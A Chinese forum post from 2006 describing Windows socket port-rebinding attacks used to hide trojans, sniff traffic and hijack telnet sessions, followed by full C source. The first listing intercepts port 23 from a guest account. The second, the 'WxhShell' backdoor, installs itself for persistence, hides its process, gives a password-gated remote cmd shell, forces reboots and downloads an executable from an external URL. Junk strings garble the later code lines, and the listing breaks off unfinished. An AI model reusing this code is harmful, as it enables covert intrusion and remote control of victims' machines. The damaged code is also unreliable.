[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; Rnwm6nu
if(chr[0]==0xd || chr[0]==0xa) { (Nc~l ^a
pwd=0; Vc5>I_
break; z**2-4 z
} (mP{A(kwJ
i++; |1CX?8)b=
} nyPeN?-
rGNa[1{kRs
// 如果是非法用户，关闭 socket '8)kFR^9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8'@5X-nD
} 15J"iN2"W
Y910\h@V
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +r"}@8/\1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b|.Cqsb
8?LT*>!
while(1) { ( y!o
HUjX[w8
ZeroMemory(cmd,KEY_BUFF); kF^4kCJ@
pqO0M]}
// 自动支持客户端 telnet标准 h%F.h![*
j=0; 9l~D}5e7
while(j<KEY_BUFF) { r}qDvC D
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }.045 Wuu
cmd[j]=chr[0]; AHn!>w,
if(chr[0]==0xa || chr[0]==0xd) { (y; 6H
cmd[j]=0; stK}K-=`
break; 0'6ai=W
} v@QnS
j++; 9NwUXh(:(
} `l'T/F\
`PAQv+EYz
// 下载文件 jC[_uG
if(strstr(cmd,"http://")) { Q(-&}cY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8>WA5:]v
if(DownloadFile(cmd,wsh)) 5QK%BiDlr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3);P!W4>
else Mrgj*|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|(\5]:R
} (<>??(VM
else { XgX~K:<jt
rkji#\_-FV
switch(cmd[0]) { "XxmiK
^cNuEF9
// 帮助 rM.Pc?Z
case '?': { _fZec+oM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @4UX~=:686
break; A^FkU
} hNh!H<}|m8
// 安装 D+:s{IcL<
case 'i': { nuWQ3w p[e
if(Install()) VK*_pEV,}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RK-bsf
else dQSO8Jf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pa0W|q#?X
break; >ye.rRZd`
} d6*84'|!
// 卸载 >6yQuB
case 'r': { ^G`6Zg;
if(Uninstall()) l4i51S"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ppn 8
else <QvVPE}z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RuYIG?J=/
break; 67&IaDts
} I)1ih
// 显示 wxhshell 所在路径 Mj1f;$
case 'p': { :(ql=+vDb4
char svExeFile[MAX_PATH]; D$4GNeB+#
strcpy(svExeFile,"\n\r"); 9d|8c > I
strcat(svExeFile,ExeFile); 8/j|=Q,5
send(wsh,svExeFile,strlen(svExeFile),0); x[};x;[ZE
break; Nb:j]U
} ;UgwV/d
// 重启 i|z=WnF$&
case 'b': { Drtg7v{@\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %T>@Ldt
if(Boot(REBOOT)) =(hBgNH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J \|~k2~
else { :'%|LBc0
closesocket(wsh); _Ycz@Jn
ExitThread(0); %[KnpJ{\
} j?*n@'
break; GC# [&>L
} (*r2bm2FPO
// 关机 X%s5D&gr
case 'd': { @1'OuX^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dti-*LB1
if(Boot(SHUTDOWN)) Trh t2Iv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l-W)?d
else { P=EZ6<c3&
closesocket(wsh); p*jU)@a0
ExitThread(0); i7T#WfF
} [dLc+h1{B
break; `:Wyw<^
} !NNPg?Y
// 获取shell z =H?@z
case 's': { `f}ZAX
CmdShell(wsh); "JmbYb#Z
closesocket(wsh); yxx_%9X
ExitThread(0); 4w%hvJ
break; Bn8&~
} !lzj.|7=1
// 退出 "24d:vf\
case 'x': { 6[XaIco=C
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {BM:c$3@j
CloseIt(wsh); 9Oj b~
break; ,9^ 5
} [wSoZBl
// 离开 U7fpaxc-
case 'q': { hb~d4J=S
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =CFg~8W
closesocket(wsh); *g}==o`
WSACleanup(); PT,*KYF_O"
exit(1); ,e$RvFB
break; <hy!B4
} 8bMw.u=F
} m8L %!6o
} (421$w,B%
M6cybEk`
// 提示信息 n5xG4.#G
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); anz7ae&P'K
} `::j\3B&Y-
} BYB9M
o(v`
return; Z{(Gib~{N
} !^L}LtqHI
as3uz
// shell模块句柄 |:(BI5&S
int CmdShell(SOCKET sock) N0lFx?4
{ EX<1hAw
STARTUPINFO si; vQXF$/S
ZeroMemory(&si,sizeof(si)); gjT`<CW
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HWoMzp5="3
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]lJ#|zd8o
PROCESS_INFORMATION ProcessInfo; 8_>:0(y
char cmdline[]="cmd"; A+Je?3/.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tMf5TiWu@
return 0; 6"?#s/fk
} b N>Ar
jkuNafp}
// 自身启动模式 BI#(L={5
int StartFromService(void) {XhpxJ__
{ K24y;968
typedef struct h;K9}w
{ 0x'Fi2=`
DWORD ExitStatus; &U.y):
DWORD PebBaseAddress; Tig6<t+Q
DWORD AffinityMask; N9)ERW2`*
DWORD BasePriority; nYRD>S?uz
ULONG UniqueProcessId; Vyx&MU.-J
ULONG InheritedFromUniqueProcessId; `~=Is.V[
} PROCESS_BASIC_INFORMATION; ?K}KSJ6_
71&`6#
PROCNTQSIP NtQueryInformationProcess; ; zy;M5l5.
*OE>gg&?Nh
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AQ.q?'vE)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0XIrEwm@%
SR)@'-Wd
HANDLE hProcess; 9qZ|=r]y'
PROCESS_BASIC_INFORMATION pbi; nDchLVw
e8]mdU{)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N)z] F9Kg
if(NULL == hInst ) return 0; QPF[D7\
GWShv\c}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uqy~hY
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'Uo:b<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~u-`L+G"6
h"nv[0!)
if (!NtQueryInformationProcess) return 0; e''Wm.>g(+
JeCEj=_Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WHF:>0B
if(!hProcess) return 0; %}&9[#
UuA=qWC
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C[$<7Mi|;
qm}7w3I^
CloseHandle(hProcess); 9zd)[4%=
8i"{GGVC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {gi"ktgk
if(hProcess==NULL) return 0; 1Kebl
veE8 N~0N.
HMODULE hMod; %s)E}cGH
char procName[255]; ~GY;{
unsigned long cbNeeded; X!_OOfueP8
_H3cqD
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TT&!WbA-Hk
g-(xuR^*
CloseHandle(hProcess); L_Ai/'
Cw^)}23R
if(strstr(procName,"services")) return 1; // 以服务启动 'Ph;:EMj
"|&*MjwN6
return 0; // 注册表启动 XJ NKM~
} ,wEM
{k]VT4/
// 主模块 `RzM)ILl
int StartWxhshell(LPSTR lpCmdLine) & ='uAw
{ K|1^?#n
SOCKET wsl; <?nr"V
BOOL val=TRUE; /iQ>he~fy
int port=0; yq,5M1vR
struct sockaddr_in door; kI;^V
WK^qYfq|
if(wscfg.ws_autoins) Install(); 1!NaOfP;@
dX3>j{_
port=atoi(lpCmdLine); %E!0,y,:
fu&]t8MJC
if(port<=0) port=wscfg.ws_port; G`W+m*[U+M
vA{[F7
WSADATA data; u1kbWbHu(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hP#&]W3:
xO@OkCue
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p.IfJ|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e)bqE^JP
door.sin_family = AF_INET; M*{e e0\`r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); nBj7Q!lW
door.sin_port = htons(port); Fu><lN7
4%{m7CK}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \%VoX`B
closesocket(wsl); g?+P&FL#I
return 1; ?{dno=
} +]_} \
Zj0&/S
if(listen(wsl,2) == INVALID_SOCKET) { fjJIF%
closesocket(wsl); *Ee# x!O
return 1; %qv7;E2C
} 87/{\h
Wxhshell(wsl); ZqGq%8\.s
WSACleanup(); S9BJjo
n(+:l'#HJ
return 0; pVY.&XBZ$
5VcYdu3
} ']NM_0
O#|E7;
// 以NT服务方式启动 *]=)mM#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GgYomR:
{ }?^G=IP4(
DWORD status = 0; Z~gqTB]H
DWORD specificError = 0xfffffff; Mf63 59
tpctz~ .
serviceStatus.dwServiceType = SERVICE_WIN32; *dl@)~i
serviceStatus.dwCurrentState = SERVICE_START_PENDING; f<'C<xnf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G7<X l}
serviceStatus.dwWin32ExitCode = 0; kgu+q\?
serviceStatus.dwServiceSpecificExitCode = 0; lb('r"*.
serviceStatus.dwCheckPoint = 0; "869n37
serviceStatus.dwWaitHint = 0; M@3H]t?
zYNJF>^<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EKf4f^<
if (hServiceStatusHandle==0) return; k4P.}SJ?
V+q RDQ
status = GetLastError(); >4E,_`3N
if (status!=NO_ERROR) z,EOyi
{ #]'xUgcE9
serviceStatus.dwCurrentState = SERVICE_STOPPED; g/J!U8W"
serviceStatus.dwCheckPoint = 0; @wPmx*SF
serviceStatus.dwWaitHint = 0; zkOgL9 (_8
serviceStatus.dwWin32ExitCode = status; 73.b9mF
serviceStatus.dwServiceSpecificExitCode = specificError; m~K]|]iqQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H6eGLg={
return; #Grm-W9E
} ]gW J,
S7vE[VF5
serviceStatus.dwCurrentState = SERVICE_RUNNING; one>vi`=
serviceStatus.dwCheckPoint = 0; GwULtRa/
serviceStatus.dwWaitHint = 0; -iHhpD9"X
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T_-MSXhA
} KPhqD5, (
*GhRU5
// 处理NT服务事件，比如：启动、停止 BTyVfq sx
VOID WINAPI NTServiceHandler(DWORD fdwControl) `<n:D`{dZ
{ `dZ|}4[1
switch(fdwControl) %r"GL
{ 9vu8koL
case SERVICE_CONTROL_STOP: 4@I]PG
serviceStatus.dwWin32ExitCode = 0; EUkNh>U?
serviceStatus.dwCurrentState = SERVICE_STOPPED; =)8Ct
serviceStatus.dwCheckPoint = 0; 68*{Lo?U
serviceStatus.dwWaitHint = 0; |*5nr5c_L
{ 4#w^PM8}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qu%s 7+
} /["T#`
return; ^d*>P|n*@e
case SERVICE_CONTROL_PAUSE: M)7enp) F.
serviceStatus.dwCurrentState = SERVICE_PAUSED; V]}b3Y!(
break; Vvj]2V3
case SERVICE_CONTROL_CONTINUE: 8rYK~Sz
serviceStatus.dwCurrentState = SERVICE_RUNNING; %-Z~f~<?
break; @El<"\
case SERVICE_CONTROL_INTERROGATE: *@nUas2"
break; ?s]`G'=>V`
}; JPG!cX%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4/?Zp4g
} fna>>
gOM`I+CwT
// 标准应用程序主函数 pS;dvZ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D.b<I79bX
{ 0 y%R
}[`?#`sW
// 获取操作系统版本 t,,^^ll
OsIsNt=GetOsVer(); v"+EBfx
GetModuleFileName(NULL,ExeFile,MAX_PATH); $wTX
b3lpNJ J
// 从命令行安装 KoJG!Rm
if(strpbrk(lpCmdLine,"iI")) Install(); r `dU (T!
MavO`m&Cg
// 下载执行文件 (SK5pU
if(wscfg.ws_downexe) { ]w>fnew
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N sL"p2w~
